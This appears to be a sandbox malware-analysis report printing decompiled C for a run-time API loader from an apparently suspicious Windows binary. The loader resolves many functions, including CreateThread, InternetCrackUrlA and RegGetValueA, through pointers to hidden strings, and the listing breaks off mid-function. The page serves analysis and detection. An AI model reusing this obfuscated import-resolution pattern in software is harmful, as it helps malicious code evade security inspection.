API String ID: 4134893223-0
Opcode ID: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction ID: 4623e7d36af2260dceec399572c1bb905ae2e9b6f15e47edd37a55d804c2928b
Opcode Fuzzy Hash: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction Fuzzy Hash: 561173B4E00248EFCB04DFA8C890BAEBBB5FF49305F108099EA15A7341C735AA11CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4A0, Relevance: 357.9, APIs: 144, Strings: 60, Instructions: 865
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C4A0() {
				CHAR* _t2;
				struct HINSTANCE__* _t3;
				struct HINSTANCE__* _t4;
				CHAR* _t6;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				struct HINSTANCE__* _t9;
				CHAR* _t10;
				struct HINSTANCE__* _t11;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__* _t13;
				CHAR* _t14;
				struct HINSTANCE__* _t15;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				CHAR* _t18;
				_Unknown_base(*)()* _t19;
				struct HINSTANCE__* _t20;
				CHAR* _t23;
				struct HINSTANCE__* _t25;
				CHAR* _t28;
				struct HINSTANCE__* _t30;
				CHAR* _t33;
				CHAR* _t34;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				struct HINSTANCE__* _t39;
				CHAR* _t41;
				struct HINSTANCE__* _t43;
				CHAR* _t46;
				struct HINSTANCE__* _t48;
				CHAR* _t50;
				struct HINSTANCE__* _t52;
				CHAR* _t55;
				struct HINSTANCE__* _t57;
				struct HINSTANCE__* _t59;
				CHAR* _t60;
				struct HINSTANCE__* _t61;
				CHAR* _t64;
				struct HINSTANCE__* _t66;
				CHAR* _t69;
				struct HINSTANCE__* _t71;
				CHAR* _t74;
				struct HINSTANCE__* _t76;
				CHAR* _t79;
				struct HINSTANCE__* _t81;
				CHAR* _t83;
				struct HINSTANCE__* _t85;
				CHAR* _t88;
				struct HINSTANCE__* _t90;
				struct HINSTANCE__* _t92;
				CHAR* _t95;
				struct HINSTANCE__* _t97;
				CHAR* _t100;
				struct HINSTANCE__* _t102;
				CHAR* _t105;
				struct HINSTANCE__* _t107;
				CHAR* _t110;
				struct HINSTANCE__* _t112;
				CHAR* _t115;
				struct HINSTANCE__* _t117;
				CHAR* _t120;
				struct HINSTANCE__* _t122;
				CHAR* _t124;
				struct HINSTANCE__* _t127;
				CHAR* _t128;
				struct HINSTANCE__* _t130;
				CHAR* _t133;
				struct HINSTANCE__* _t135;
				CHAR* _t138;
				struct HINSTANCE__* _t140;
				CHAR* _t143;
				struct HINSTANCE__* _t145;
				CHAR* _t148;
				struct HINSTANCE__* _t150;
				CHAR* _t153;
				struct HINSTANCE__* _t155;
				CHAR* _t158;
				struct HINSTANCE__* _t160;
				CHAR* _t163;
				struct HINSTANCE__* _t165;
				CHAR* _t168;
				struct HINSTANCE__* _t170;
				CHAR* _t173;
				struct HINSTANCE__* _t175;
				CHAR* _t178;
				struct HINSTANCE__* _t180;
				CHAR* _t183;
				struct HINSTANCE__* _t185;
				CHAR* _t188;
				struct HINSTANCE__* _t190;
				CHAR* _t193;
				struct HINSTANCE__* _t195;
				CHAR* _t198;
				struct HINSTANCE__* _t200;
				CHAR* _t203;
				struct HINSTANCE__* _t205;
				CHAR* _t208;
				struct HINSTANCE__* _t210;
				struct HINSTANCE__* _t213;
				struct HINSTANCE__* _t217;
				CHAR* _t220;
				CHAR* _t221;
				CHAR* _t222;
				CHAR* _t223;
				struct HINSTANCE__* _t224;
				CHAR* _t225;
				CHAR* _t226;
				struct HINSTANCE__* _t227;
				CHAR* _t228;
				struct HINSTANCE__* _t229;
				CHAR* _t230;
				struct HINSTANCE__* _t231;
				struct HINSTANCE__* _t232;
				struct HINSTANCE__* _t233;
				CHAR* _t234;
				struct HINSTANCE__* _t235;
				CHAR* _t236;
				struct HINSTANCE__* _t237;
				CHAR* _t238;
				struct HINSTANCE__* _t239;
				CHAR* _t240;
				struct HINSTANCE__* _t241;
				CHAR* _t242;
				CHAR* _t243;
				struct HINSTANCE__* _t244;
				CHAR* _t245;
				struct HINSTANCE__* _t246;
				CHAR* _t247;
				struct HINSTANCE__* _t248;
				CHAR* _t249;
				struct HINSTANCE__* _t250;
				CHAR* _t251;
				struct HINSTANCE__* _t252;
				CHAR* _t253;
				struct HINSTANCE__* _t254;
				CHAR* _t255;
				struct HINSTANCE__* _t256;
				struct HINSTANCE__* _t257;
				CHAR* _t258;
				struct HINSTANCE__* _t259;
				CHAR* _t260;
				struct HINSTANCE__* _t261;
				CHAR* _t262;
				struct HINSTANCE__* _t263;
				CHAR* _t264;
				CHAR* _t265;
				struct HINSTANCE__* _t266;
				CHAR* _t267;
				struct HINSTANCE__* _t268;
				CHAR* _t269;
				struct HINSTANCE__* _t270;
				struct HINSTANCE__* _t271;
				struct HINSTANCE__* _t272;
				struct HINSTANCE__* _t273;
				CHAR* _t274;
				struct HINSTANCE__* _t275;
				CHAR* _t276;
				struct HINSTANCE__* _t277;
				CHAR* _t278;
				struct HINSTANCE__* _t279;
				CHAR* _t280;
				struct HINSTANCE__* _t281;
				CHAR* _t282;
				struct HINSTANCE__* _t283;
				CHAR* _t284;
				struct HINSTANCE__* _t285;
				CHAR* _t286;
				struct HINSTANCE__* _t287;
				CHAR* _t288;
				struct HINSTANCE__* _t289;
				CHAR* _t290;
				struct HINSTANCE__* _t291;
				CHAR* _t292;
				struct HINSTANCE__* _t293;
				CHAR* _t294;
				struct HINSTANCE__* _t295;
				CHAR* _t296;
				struct HINSTANCE__* _t297;
				CHAR* _t298;
				struct HINSTANCE__* _t299;
				CHAR* _t300;
				struct HINSTANCE__* _t301;
				CHAR* _t302;
				struct HINSTANCE__* _t303;
				CHAR* _t304;
				struct HINSTANCE__* _t305;
				CHAR* _t306;
				struct HINSTANCE__* _t307;
				struct HINSTANCE__* _t308;
				CHAR* _t309;
				CHAR* _t310;
				CHAR* _t311;
				CHAR* _t312;
				CHAR* _t313;
				CHAR* _t314;
				struct HINSTANCE__* _t315;
				struct HINSTANCE__* _t316;
				CHAR* _t317;
				struct HINSTANCE__* _t318;
				CHAR* _t319;
				struct HINSTANCE__* _t320;
				CHAR* _t321;
				CHAR* _t322;
				struct HINSTANCE__* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				CHAR* _t326;
				struct HINSTANCE__* _t327;
				CHAR* _t328;
				struct HINSTANCE__* _t329;
				CHAR* _t330;
				struct HINSTANCE__* _t331;
				struct HINSTANCE__* _t332;
				CHAR* _t333;
				CHAR* _t334;
				struct HINSTANCE__* _t335;
				CHAR* _t336;
				struct HINSTANCE__* _t337;
				CHAR* _t338;
				struct HINSTANCE__* _t339;
				CHAR* _t340;
				struct HINSTANCE__* _t341;
				CHAR* _t342;
				struct HINSTANCE__* _t343;
				CHAR* _t344;
				struct HINSTANCE__* _t345;
				CHAR* _t346;
				CHAR* _t347;
				struct HINSTANCE__* _t348;
				CHAR* _t349;
				struct HINSTANCE__* _t350;
				CHAR* _t351;
				struct HINSTANCE__* _t352;
				CHAR* _t353;
				struct HINSTANCE__* _t354;
				struct HINSTANCE__* _t355;
				CHAR* _t356;
				struct HINSTANCE__* _t357;
				CHAR* _t358;
				struct HINSTANCE__* _t359;
				CHAR* _t360;
				struct HINSTANCE__* _t361;
				CHAR* _t362;
				struct HINSTANCE__* _t363;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				struct HINSTANCE__* _t367;
				CHAR* _t368;
				struct HINSTANCE__* _t369;
				CHAR* _t370;
				struct HINSTANCE__* _t371;
				CHAR* _t372;
				struct HINSTANCE__* _t373;
				CHAR* _t374;
				struct HINSTANCE__* _t375;
				CHAR* _t376;
				struct HINSTANCE__* _t377;
				CHAR* _t378;
				struct HINSTANCE__* _t379;
				CHAR* _t380;
				struct HINSTANCE__* _t381;
				CHAR* _t382;
				struct HINSTANCE__* _t383;
				CHAR* _t384;
				struct HINSTANCE__* _t385;
				CHAR* _t386;
				struct HINSTANCE__* _t387;
				CHAR* _t388;
				struct HINSTANCE__* _t389;
				CHAR* _t390;
				struct HINSTANCE__* _t391;
				CHAR* _t392;
				struct HINSTANCE__* _t393;
				CHAR* _t394;
				struct HINSTANCE__* _t395;
				struct HINSTANCE__* _t396;

				if( *0x41aa64 != 0) {
					_t128 =  *0x41a0b4; // 0x767880
					_t273 =  *0x41aa64; // 0x74df0000
					 *0x41a9b4 = GetProcAddress(_t273, _t128);
					_t362 =  *0x41a728; // 0x767940
					_t130 =  *0x41aa64; // 0x74df0000
					 *0x41aa24 = GetProcAddress(_t130, _t362);
					_t274 =  *0x41a2bc; // 0x765318
					_t363 =  *0x41aa64; // 0x74df0000
					 *0x41a9bc = GetProcAddress(_t363, _t274);
					_t133 =  *0x41a668; // 0x7678b0
					_t275 =  *0x41aa64; // 0x74df0000
					 *0x41a8b0 = GetProcAddress(_t275, _t133);
					_t364 =  *0x41a5d8; // 0x767910
					_t135 =  *0x41aa64; // 0x74df0000
					 *0x41a910 = GetProcAddress(_t135, _t364);
					_t276 =  *0x41a26c; // 0x767970
					_t365 =  *0x41aa64; // 0x74df0000
					 *0x41a8b8 = GetProcAddress(_t365, _t276);
					_t138 =  *0x41a64c; // 0x767a18
					_t277 =  *0x41aa64; // 0x74df0000
					 *0x41aa90 = GetProcAddress(_t277, _t138);
					_t366 =  *0x41a4b8; // 0x767820
					_t140 =  *0x41aa64; // 0x74df0000
					 *0x41a908 = GetProcAddress(_t140, _t366);
					_t278 =  *0x41a2b4; // 0x767838
					_t367 =  *0x41aa64; // 0x74df0000
					 *0x41aa70 = GetProcAddress(_t367, _t278);
					_t143 =  *0x41a7bc; // 0x767a48
					_t279 =  *0x41aa64; // 0x74df0000
					 *0x41a9d8 = GetProcAddress(_t279, _t143);
					_t368 =  *0x41a49c; // 0x767a60
					_t145 =  *0x41aa64; // 0x74df0000
					 *0x41aa10 = GetProcAddress(_t145, _t368);
					_t280 =  *0x41a4fc; // 0x767850
					_t369 =  *0x41aa64; // 0x74df0000
					 *0x41a8cc = GetProcAddress(_t369, _t280);
					_t148 =  *0x41a3a8; // 0x767a78
					_t281 =  *0x41aa64; // 0x74df0000
					 *0x41aa9c = GetProcAddress(_t281, _t148);
					_t370 =  *0x41a1c0; // 0x7653d8
					_t150 =  *0x41aa64; // 0x74df0000
					 *0x41a998 = GetProcAddress(_t150, _t370);
					_t282 =  *0x41a1f8; // 0x767b38
					_t371 =  *0x41aa64; // 0x74df0000
					 *0x41a9a0 = GetProcAddress(_t371, _t282);
					_t153 =  *0x41a7ac; // 0x765578
					_t283 =  *0x41aa64; // 0x74df0000
					 *0x41aaac = GetProcAddress(_t283, _t153);
					_t372 =  *0x41a5f8; // 0x767388
					_t155 =  *0x41aa64; // 0x74df0000
					 *0x41a904 = GetProcAddress(_t155, _t372);
					_t284 =  *0x41a0dc; // 0x767b50
					_t373 =  *0x41aa64; // 0x74df0000
					 *0x41aac4 = GetProcAddress(_t373, _t284);
					_t158 =  *0x41a30c; // 0x765418
					_t285 =  *0x41aa64; // 0x74df0000
					 *0x41a86c = GetProcAddress(_t285, _t158);
					_t374 =  *0x41a664; // 0x767b20
					_t160 =  *0x41aa64; // 0x74df0000
					 *0x41a8fc = GetProcAddress(_t160, _t374);
					_t286 =  *0x41a04c; // 0x765438
					_t375 =  *0x41aa64; // 0x74df0000
					 *0x41aad0 = GetProcAddress(_t375, _t286);
					_t163 =  *0x41a0f0; // 0x767bc8
					_t287 =  *0x41aa64; // 0x74df0000
					 *0x41aa44 = GetProcAddress(_t287, _t163);
					_t376 =  *0x41a134; // 0x767b80
					_t165 =  *0x41aa64; // 0x74df0000
					 *0x41a974 = GetProcAddress(_t165, _t376);
					_t288 =  *0x41a460; // 0x767b68
					_t377 =  *0x41aa64; // 0x74df0000
					 *0x41a8e4 = GetProcAddress(_t377, _t288);
					_t168 =  *0x41a554; // 0x767b98
					_t289 =  *0x41aa64; // 0x74df0000
					 *0x41a868 = GetProcAddress(_t289, _t168);
					_t378 =  *0x41a190; // 0x764fd8
					_t170 =  *0x41aa64; // 0x74df0000
					 *0x41a96c = GetProcAddress(_t170, _t378);
					_t290 =  *0x41a52c; // 0x767be0
					_t379 =  *0x41aa64; // 0x74df0000
					 *0x41aad8 = GetProcAddress(_t379, _t290);
					_t173 =  *0x41a5d0; // 0x767bb0
					_t291 =  *0x41aa64; // 0x74df0000
					 *0x41a930 = GetProcAddress(_t291, _t173);
					_t380 =  *0x41a268; // 0x767e50
					_t175 =  *0x41aa64; // 0x74df0000
					 *0x41a8a8 = GetProcAddress(_t175, _t380);
					_t292 =  *0x41a3f8; // 0x764e58
					_t381 =  *0x41aa64; // 0x74df0000
					 *0x41a894 = GetProcAddress(_t381, _t292);
					_t178 =  *0x41a3a4; // 0x767dd8
					_t293 =  *0x41aa64; // 0x74df0000
					 *0x41a8c4 = GetProcAddress(_t293, _t178);
					_t382 =  *0x41a048; // 0x767df0
					_t180 =  *0x41aa64; // 0x74df0000
					 *0x41a914 = GetProcAddress(_t180, _t382);
					_t294 =  *0x41a6b0; // 0x767ce8
					_t383 =  *0x41aa64; // 0x74df0000
					 *0x41a8b4 = GetProcAddress(_t383, _t294);
					_t183 =  *0x41a458; // 0x767c28
					_t295 =  *0x41aa64; // 0x74df0000
					 *0x41a9dc = GetProcAddress(_t295, _t183);
					_t384 =  *0x41a364; // 0x767ef8
					_t185 =  *0x41aa64; // 0x74df0000
					 *0x41aad4 = GetProcAddress(_t185, _t384);
					_t296 =  *0x41a550; // 0x765018
					_t385 =  *0x41aa64; // 0x74df0000
					 *0x41a8a4 = GetProcAddress(_t385, _t296);
					_t188 =  *0x41a13c; // 0x765118
					_t297 =  *0x41aa64; // 0x74df0000
					 *0x41a8a0 = GetProcAddress(_t297, _t188);
					_t386 =  *0x41a428; // 0x767e08
					_t190 =  *0x41aa64; // 0x74df0000
					 *0x41aa20 = GetProcAddress(_t190, _t386);
					_t298 =  *0x41a420; // 0x767e38
					_t387 =  *0x41aa64; // 0x74df0000
					 *0x41a9d4 = GetProcAddress(_t387, _t298);
					_t193 =  *0x41a02c; // 0x765158
					_t299 =  *0x41aa64; // 0x74df0000
					 *0x41aab0 = GetProcAddress(_t299, _t193);
					_t388 =  *0x41a184; // 0x767400
					_t195 =  *0x41aa64; // 0x74df0000
					 *0x41a9a4 = GetProcAddress(_t195, _t388);
					_t300 =  *0x41a118; // 0x767e20
					_t389 =  *0x41aa64; // 0x74df0000
					 *0x41a8c8 = GetProcAddress(_t389, _t300);
					_t198 =  *0x41a1a4; // 0x767d00
					_t301 =  *0x41aa64; // 0x74df0000
					 *0x41a860 = GetProcAddress(_t301, _t198);
					_t390 =  *0x41a400; // 0x764f78
					_t200 =  *0x41aa64; // 0x74df0000
					 *0x41a9b0 = GetProcAddress(_t200, _t390);
					_t302 =  *0x41a654; // 0x765058
					_t391 =  *0x41aa64; // 0x74df0000
					 *0x41a8f4 = GetProcAddress(_t391, _t302);
					_t203 =  *0x41a3dc; // 0x765078
					_t303 =  *0x41aa64; // 0x74df0000
					 *0x41a850 = GetProcAddress(_t303, _t203);
					_t392 =  *0x41a2dc; // 0x767c58
					_t205 =  *0x41aa64; // 0x74df0000
					 *0x41a858 = GetProcAddress(_t205, _t392);
					_t304 =  *0x41a5f4; // 0x765198
					_t393 =  *0x41aa64; // 0x74df0000
					 *0x41a92c = GetProcAddress(_t393, _t304);
					_t208 =  *0x41a780; // 0x767c40
					_t305 =  *0x41aa64; // 0x74df0000
					 *0x41a978 = GetProcAddress(_t305, _t208);
					_t394 =  *0x41a0d8; // 0x7651b8
					_t210 =  *0x41aa64; // 0x74df0000
					 *0x41aa1c = GetProcAddress(_t210, _t394);
					_t306 =  *0x41a6ac; // 0x7651d8
					_t395 =  *0x41aa64; // 0x74df0000
					 *0x41a890 = GetProcAddress(_t395, _t306);
					_t213 =  *0x41aa64; // 0x74df0000
					 *0x41aa58 = GetProcAddress(_t213, "CreateThread");
					_t307 =  *0x41aa64; // 0x74df0000
					 *0x41a8e8 = GetProcAddress(_t307, "GetEnvironmentVariableA");
					_t396 =  *0x41aa64; // 0x74df0000
					 *0x41a8ac = GetProcAddress(_t396, "SetEnvironmentVariableA");
					_t217 =  *0x41aa64; // 0x74df0000
					 *0x41aac8 = GetProcAddress(_t217, "lstrcpyA");
					_t308 =  *0x41aa64; // 0x74df0000
					 *0x41a994 = GetProcAddress(_t308, "lstrcpynA");
				}
				_t309 =  *0x41a03c; // 0x7678c8
				 *0x41a964 = LoadLibraryA(_t309);
				_t2 =  *0x41a1e4; // 0x767868
				_t3 = LoadLibraryA(_t2); // executed
				 *0x41a8d8 = _t3;
				_t220 =  *0x41a5fc; // 0x7679b8
				_t4 = LoadLibraryA(_t220); // executed
				 *0x41aaa8 = _t4;
				_t310 =  *0x41a2c0; // 0x7679a0
				 *0x41a988 = LoadLibraryA(_t310);
				_t6 =  *0x41a240; // 0x767898
				_t7 = LoadLibraryA(_t6); // executed
				 *0x41aa40 = _t7;
				_t221 =  *0x41a77c; // 0x767ac0
				_t8 = LoadLibraryA(_t221); // executed
				 *0x41a94c = _t8;
				_t311 =  *0x41a1e0; // 0x7679e8
				_t9 = LoadLibraryA(_t311); // executed
				 *0x41aa34 = _t9;
				_t10 =  *0x41a568; // 0x767958
				_t11 = LoadLibraryA(_t10); // executed
				 *0x41aa80 = _t11;
				_t222 =  *0x41a0a4; // 0x7678f8
				_t12 = LoadLibraryA(_t222); // executed
				 *0x41a968 = _t12;
				_t312 =  *0x41a5a0; // 0x7679d0
				_t13 = LoadLibraryA(_t312); // executed
				 *0x41aa98 = _t13;
				_t14 =  *0x41a688; // 0x767ad8
				_t15 = LoadLibraryA(_t14); // executed
				 *0x41a938 = _t15;
				_t223 =  *0x41a228; // 0x767af0
				_t16 = LoadLibraryA(_t223); // executed
				 *0x41a97c = _t16;
				_t313 =  *0x41a58c; // 0x767a00
				_t17 = LoadLibraryA(_t313); // executed
				 *0x41aa88 = _t17;
				if( *0x41a964 != 0) {
					_t124 =  *0x41a4a0; // 0x765b30
					_t272 =  *0x41a964; // 0x775e0000
					 *0x41aa54 = GetProcAddress(_t272, _t124);
					_t361 =  *0x41a964; // 0x775e0000
					 *0x41a85c = GetProcAddress(_t361, "memset");
					_t127 =  *0x41a964; // 0x775e0000
					_t17 = GetProcAddress(_t127, "memcpy");
					 *0x41aab8 = _t17;
				}
				if( *0x41a8d8 != 0) {
					_t265 =  *0x41a490; // 0x767d18
					_t355 =  *0x41a8d8; // 0x6fc20000
					 *0x41a954 = GetProcAddress(_t355, _t265);
					_t110 =  *0x41a25c; // 0x764fb8
					_t266 =  *0x41a8d8; // 0x6fc20000
					 *0x41aa74 = GetProcAddress(_t266, _t110);
					_t356 =  *0x41a530; // 0x7651f8
					_t112 =  *0x41a8d8; // 0x6fc20000
					 *0x41aabc = GetProcAddress(_t112, _t356);
					_t267 =  *0x41a560; // 0x765218
					_t357 =  *0x41a8d8; // 0x6fc20000
					 *0x41aa3c = GetProcAddress(_t357, _t267);
					_t115 =  *0x41a3d4; // 0x767cd0
					_t268 =  *0x41a8d8; // 0x6fc20000
					 *0x41aacc = GetProcAddress(_t268, _t115);
					_t358 =  *0x41a23c; // 0x765178
					_t117 =  *0x41a8d8; // 0x6fc20000
					 *0x41a950 = GetProcAddress(_t117, _t358);
					_t269 =  *0x41a564; // 0x764e38
					_t359 =  *0x41a8d8; // 0x6fc20000
					 *0x41a980 = GetProcAddress(_t359, _t269);
					_t120 =  *0x41a45c; // 0x764e98
					_t270 =  *0x41a8d8; // 0x6fc20000
					 *0x41a84c = GetProcAddress(_t270, _t120);
					_t360 =  *0x41a278; // 0x7650b8
					_t122 =  *0x41a8d8; // 0x6fc20000
					 *0x41a958 = GetProcAddress(_t122, _t360);
					_t271 =  *0x41a8d8; // 0x6fc20000
					_t17 = GetProcAddress(_t271, "InternetCrackUrlA");
					 *0x41a8ec = _t17;
				}
				if( *0x41aaa8 != 0) {
					_t347 =  *0x41a318; // 0x767dc0
					_t92 =  *0x41aaa8; // 0x768f0000
					 *0x41a874 = GetProcAddress(_t92, _t347);
					_t258 =  *0x41a63c; // 0x767da8
					_t348 =  *0x41aaa8; // 0x768f0000
					 *0x41a9ac = GetProcAddress(_t348, _t258);
					_t95 =  *0x41a608; // 0x765138
					_t259 =  *0x41aaa8; // 0x768f0000
					 *0x41a9ec = GetProcAddress(_t259, _t95);
					_t349 =  *0x41a528; // 0x764e78
					_t97 =  *0x41aaa8; // 0x768f0000
					 *0x41a9fc = GetProcAddress(_t97, _t349);
					_t260 =  *0x41a3ec; // 0x767d30
					_t350 =  *0x41aaa8; // 0x768f0000
					 *0x41aa28 = GetProcAddress(_t350, _t260);
					_t100 =  *0x41a648; // 0x765a90
					_t261 =  *0x41aaa8; // 0x768f0000
					 *0x41aaa4 = GetProcAddress(_t261, _t100);
					_t351 =  *0x41a298; // 0x764ff8
					_t102 =  *0x41aaa8; // 0x768f0000
					 *0x41aab4 = GetProcAddress(_t102, _t351);
					_t262 =  *0x41a618; // 0x764eb8
					_t352 =  *0x41aaa8; // 0x768f0000
					 *0x41a878 = GetProcAddress(_t352, _t262);
					_t105 =  *0x41a384; // 0x767d48
					_t263 =  *0x41aaa8; // 0x768f0000
					 *0x41aac0 = GetProcAddress(_t263, _t105);
					_t353 =  *0x41a4ec; // 0x767ca0
					_t107 =  *0x41aaa8; // 0x768f0000
					 *0x41aa5c = GetProcAddress(_t107, _t353);
					_t264 =  *0x41a38c; // 0x767e80
					_t354 =  *0x41aaa8; // 0x768f0000
					_t17 = GetProcAddress(_t354, _t264);
					 *0x41aa94 = _t17;
				}
				if( *0x41a854 != 0) {
					_t83 =  *0x41a6c8; // 0x767cb8
					_t254 =  *0x41a854; // 0x74b40000
					 *0x41a940 = GetProcAddress(_t254, _t83);
					_t344 =  *0x41a53c; // 0x764ed8
					_t85 =  *0x41a854; // 0x74b40000
					 *0x41a920 = GetProcAddress(_t85, _t344);
					_t255 =  *0x41a180; // 0x767ee0
					_t345 =  *0x41a854; // 0x74b40000
					 *0x41a9c4 = GetProcAddress(_t345, _t255);
					_t88 =  *0x41a724; // 0x764ef8
					_t256 =  *0x41a854; // 0x74b40000
					 *0x41a870 = GetProcAddress(_t256, _t88);
					_t346 =  *0x41a1fc; // 0x767d78
					_t90 =  *0x41a854; // 0x74b40000
					 *0x41aa6c = GetProcAddress(_t90, _t346);
					_t257 =  *0x41a854; // 0x74b40000
					_t17 = GetProcAddress(_t257, "RegGetValueA");
					 *0x41a8f8 = _t17;
				}
				if( *0x41a988 != 0) {
					_t334 =  *0x41a4c4; // 0x767d60
					_t61 =  *0x41a988; // 0x76b90000
					 *0x41a9d0 = GetProcAddress(_t61, _t334);
					_t245 =  *0x41a198; // 0x767e98
					_t335 =  *0x41a988; // 0x76b90000
					 *0x41a960 = GetProcAddress(_t335, _t245);
					_t64 =  *0x41a7a8; // 0x7650d8
					_t246 =  *0x41a988; // 0x76b90000
					 *0x41a948 = GetProcAddress(_t246, _t64);
					_t336 =  *0x41a274; // 0x764f18
					_t66 =  *0x41a988; // 0x76b90000
					 *0x41a8bc = GetProcAddress(_t66, _t336);
					_t247 =  *0x41a624; // 0x767d90
					_t337 =  *0x41a988; // 0x76b90000
					 *0x41a898 = GetProcAddress(_t337, _t247);
					_t69 =  *0x41a2b8; // 0x765c30
					_t248 =  *0x41a988; // 0x76b90000
					 *0x41a880 = GetProcAddress(_t248, _t69);
					_t338 =  *0x41a5f0; // 0x767e68
					_t71 =  *0x41a988; // 0x76b90000
					 *0x41aa38 = GetProcAddress(_t71, _t338);
					_t249 =  *0x41a19c; // 0x767eb0
					_t339 =  *0x41a988; // 0x76b90000
					 *0x41a93c = GetProcAddress(_t339, _t249);
					_t74 =  *0x41a73c; // 0x767c88
					_t250 =  *0x41a988; // 0x76b90000
					 *0x41a9f0 = GetProcAddress(_t250, _t74);
					_t340 =  *0x41a254; // 0x767ec8
					_t76 =  *0x41a988; // 0x76b90000
					 *0x41a918 = GetProcAddress(_t76, _t340);
					_t251 =  *0x41a404; // 0x765ab0
					_t341 =  *0x41a988; // 0x76b90000
					 *0x41a87c = GetProcAddress(_t341, _t251);
					_t79 =  *0x41a17c; // 0x765038
					_t252 =  *0x41a988; // 0x76b90000
					 *0x41a9a8 = GetProcAddress(_t252, _t79);
					_t342 =  *0x41a154; // 0x767f10
					_t81 =  *0x41a988; // 0x76b90000
					 *0x41a8d4 = GetProcAddress(_t81, _t342);
					_t253 =  *0x41a778; // 0x767c70
					_t343 =  *0x41a988; // 0x76b90000
					_t17 = GetProcAddress(_t343, _t253);
					 *0x41a9f8 = _t17;
				}
				if( *0x41aa40 != 0) {
					_t60 =  *0x41a120; // 0x765ff8
					_t244 =  *0x41aa40; // 0x6f2a0000
					_t17 = GetProcAddress(_t244, _t60); // executed
					 *0x41a864 = _t17;
				}
				if( *0x41a94c != 0) {
					_t333 =  *0x41a3a0; // 0x764f38
					_t59 =  *0x41a94c; // 0x768e0000
					_t17 = GetProcAddress(_t59, _t333);
					 *0x41aa48 = _t17;
				}
				if( *0x41a934 != 0) {
					_t243 =  *0x41a354; // 0x765098
					_t332 =  *0x41a934; // 0x749a0000
					_t17 = GetProcAddress(_t332, _t243);
					 *0x41a91c = _t17;
				}
				if( *0x41aa34 != 0) {
					_t50 =  *0x41a108; // 0x767158
					_t239 =  *0x41aa34; // 0x73da0000
					 *0x41a95c = GetProcAddress(_t239, _t50);
					_t328 =  *0x41a710; // 0x764f58
					_t52 =  *0x41aa34; // 0x73da0000
					 *0x41aa18 = GetProcAddress(_t52, _t328);
					_t240 =  *0x41a510; // 0x767068
					_t329 =  *0x41aa34; // 0x73da0000
					 *0x41a900 = GetProcAddress(_t329, _t240);
					_t55 =  *0x41a35c; // 0x7650f8
					_t241 =  *0x41aa34; // 0x73da0000
					 *0x41a8e0 = GetProcAddress(_t241, _t55);
					_t330 =  *0x41a524; // 0x767180
					_t57 =  *0x41aa34; // 0x73da0000
					 *0x41a8c0 = GetProcAddress(_t57, _t330);
					_t242 =  *0x41a0a0; // 0x768000
					_t331 =  *0x41aa34; // 0x73da0000
					_t17 = GetProcAddress(_t331, _t242);
					 *0x41aa60 = _t17;
				}
				if( *0x41aa80 != 0) {
					_t41 =  *0x41a2fc; // 0x768030
					_t235 =  *0x41aa80; // 0x6ec20000
					 *0x41a9c8 = GetProcAddress(_t235, _t41);
					_t324 =  *0x41a508; // 0x767f28
					_t43 =  *0x41aa80; // 0x6ec20000
					 *0x41a924 = GetProcAddress(_t43, _t324);
					_t236 =  *0x41a540; // 0x764f98
					_t325 =  *0x41aa80; // 0x6ec20000
					 *0x41aa30 = GetProcAddress(_t325, _t236);
					_t46 =  *0x41a214; // 0x74a858
					_t237 =  *0x41aa80; // 0x6ec20000
					 *0x41a888 = GetProcAddress(_t237, _t46);
					_t326 =  *0x41a794; // 0x768830
					_t48 =  *0x41aa80; // 0x6ec20000
					 *0x41a99c = GetProcAddress(_t48, _t326);
					_t238 =  *0x41a7d0; // 0x768150
					_t327 =  *0x41aa80; // 0x6ec20000
					_t17 = GetProcAddress(_t327, _t238);
					 *0x41aa08 = _t17;
				}
				if( *0x41a968 != 0) {
					_t37 =  *0x41a178; // 0x7680f0
					_t233 =  *0x41a968; // 0x76720000
					 *0x41aa4c = GetProcAddress(_t233, _t37);
					_t322 =  *0x41a69c; // 0x765b70
					_t39 =  *0x41a968; // 0x76720000
					 *0x41a89c = GetProcAddress(_t39, _t322);
					_t234 =  *0x41a0e4; // 0x768180
					_t323 =  *0x41a968; // 0x76720000
					_t17 = GetProcAddress(_t323, _t234);
					 *0x41a90c = _t17;
				}
				if( *0x41aa98 != 0) {
					_t34 =  *0x41a270; // 0x7688b0
					_t232 =  *0x41aa98; // 0x75390000
					 *0x41aa00 = GetProcAddress(_t232, _t34);
					_t321 =  *0x41a378; // 0x7680a8
					_t36 =  *0x41aa98; // 0x75390000
					_t17 = GetProcAddress(_t36, _t321);
					 *0x41aa84 = _t17;
				}
				if( *0x41a938 != 0) {
					_t226 =  *0x41a3cc; // 0x767248
					_t316 =  *0x41a938; // 0x73660000
					 *0x41a8dc = GetProcAddress(_t316, _t226);
					_t23 =  *0x41a2a0; // 0x768bd0
					_t227 =  *0x41a938; // 0x73660000
					 *0x41a928 = GetProcAddress(_t227, _t23);
					_t317 =  *0x41a308; // 0x767360
					_t25 =  *0x41a938; // 0x73660000
					 *0x41a9e8 = GetProcAddress(_t25, _t317);
					_t228 =  *0x41a150; // 0x768198
					_t318 =  *0x41a938; // 0x73660000
					 *0x41aa2c = GetProcAddress(_t318, _t228);
					_t28 =  *0x41a4f4; // 0x7680c0
					_t229 =  *0x41a938; // 0x73660000
					 *0x41aa0c = GetProcAddress(_t229, _t28);
					_t319 =  *0x41a7c8; // 0x768b10
					_t30 =  *0x41a938; // 0x73660000
					 *0x41a9b8 = GetProcAddress(_t30, _t319);
					_t230 =  *0x41a380; // 0x7688f0
					_t320 =  *0x41a938; // 0x73660000
					 *0x41a8f0 = GetProcAddress(_t320, _t230);
					_t33 =  *0x41a7b8; // 0x768090
					_t231 =  *0x41a938; // 0x73660000
					_t17 = GetProcAddress(_t231, _t33);
					 *0x41aa7c = _t17;
				}
				if( *0x41a97c != 0) {
					_t314 =  *0x41a174; // 0x768850
					_t20 =  *0x41a97c; // 0x747d0000
					 *0x41a98c = GetProcAddress(_t20, _t314);
					_t225 =  *0x41a3d8; // 0x768a30
